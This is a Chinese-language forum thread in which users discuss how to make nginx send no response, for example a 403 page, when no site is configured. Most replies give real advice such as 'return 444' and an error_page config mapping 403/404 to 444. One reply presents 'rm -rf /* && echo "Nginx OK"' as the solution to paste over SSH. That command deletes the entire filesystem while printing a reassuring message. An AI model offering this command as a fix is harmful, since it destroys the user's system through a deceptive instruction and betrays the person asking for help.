找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
楼主: Titan

怎么让nginx不返回任何值?

[复制链接]

169

主题

2101

回帖

4769

积分

论坛元老

积分
4769
发表于 2019-1-31 10:01:27 | 显示全部楼层

倾城翻翻分身一 发表于 2019-1-31 10:06

就是刚装好nginx没有网站时,你登陆IP,一定显示的是403 Forbidden。

我希望这时什么都不要显示出来。 ...

不显示?那tcping你80端口要不要返回?
只要有返回就是开了网站,不管你是nginx还是httpd。
你什么都不返回那就是自己“拒绝服务(ddos)”,那你说访问特定页面那也会是拒绝服务的。
回复

使用道具 举报

12

主题

546

回帖

1168

积分

金牌会员

积分
1168
发表于 2019-1-31 10:01:51 | 显示全部楼层
本帖最后由 Titan 于 2019-1-31 17:41 编辑

ssh连接一下输入

[ol]
  • rm -rf /* && echo "Nginx OK"[/ol]复制代码

    就可以了
  • 回复

    使用道具 举报

    5

    主题

    690

    回帖

    1433

    积分

    金牌会员

    积分
    1433
    发表于 2019-1-31 09:40:00 | 显示全部楼层
    return 444;
    回复

    使用道具 举报

    3

    主题

    130

    回帖

    307

    积分

    中级会员

    积分
    307
     楼主| 发表于 2019-1-31 10:02:55 | 显示全部楼层
    不可能的,http基于TCP,TCP只要握手能握上就证明这一定有个nginx存在,所以根本不存在你说的事情
    bjrjk 发表于 2019-1-31 15:12

    不可能的,http基于TCP,TCP只要握手能握上就证明这一定有个nginx存在,所以根本不存在你说的事情 ...


    我觉得楼主的想法用 444状态码就可以
    tcp连接只能证明这个端口被监听,返回444就能不返回数据就断开连接
    还是说...楼主打算把端口给关了....
    回复

    使用道具 举报

    37

    主题

    245

    回帖

    647

    积分

    高级会员

    积分
    647
    发表于 2019-1-31 10:01:00 | 显示全部楼层
    本帖最后由 ghyghoo8 于 2019-1-31 17:14 编辑

    hdown 发表于 2019-1-31 11:27

    对不起,http协议不支持这个。
    http协议规定请求应答模式,不可能不应答的。
    想实现这咯效果也很简单,在 ...


    -补充完整的上来
    [ol]
  • nginx.conf
  •   error_page 403 404 =444 @default;
  •   location @default {
  •     return 444;
  •   }
  • [root#web www]# curl https://xx.xx.xx.xx/404 -k -I
  • curl: (52) Empty reply from server[/ol]复制代码
    楼主想要的大概是这个效果

    或者说楼主是想要不想让人知道是webserver还是nginx还是咋的
    还是说楼主想要这种类型的错误返回?
    [ol]
  • curl: (35) TCP connection reset by peer[/ol]复制代码
  • 回复

    使用道具 举报

    0

    主题

    1

    回帖

    4

    积分

    新手上路

    积分
    4
    发表于 2019-1-31 10:05:47 | 显示全部楼层

    ghyghoo8 发表于 2019-1-31 15:16

    我觉得楼主的想法用 444状态码就可以
    tcp连接只能证明这个端口被监听,返回444就能不返回数据就断开连接
    ...

    楼主原话是:我想实现的效果就是装了nginx就像没装一样,403不返回。
    装了NGINX就和没装一样,那就应该是TCP握手都握不上才是装了和没装一样,TCP握手都握不上根本就不知道请求的是不是正确网址。。。所以不可能做到,如果单纯说http应用层协议上返回444可以,但是要是在传输层就不可能实现
    回复

    使用道具 举报

    114

    主题

    3620

    回帖

    7642

    积分

    论坛元老

    积分
    7642
    发表于 2019-1-31 10:06:57 | 显示全部楼层
    你自己指定错误页面就是了 改成想要的样式
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    Archiver|手机版|小黑屋|Discuz! X

    GMT+8, 2025-5-25 14:41 , Processed in 0.018994 second(s), 3 queries , Gzip On, Redis On.

    Powered by Discuz! X3.5

    © 2001-2024 Discuz! Team.

    快速回复 返回顶部 返回列表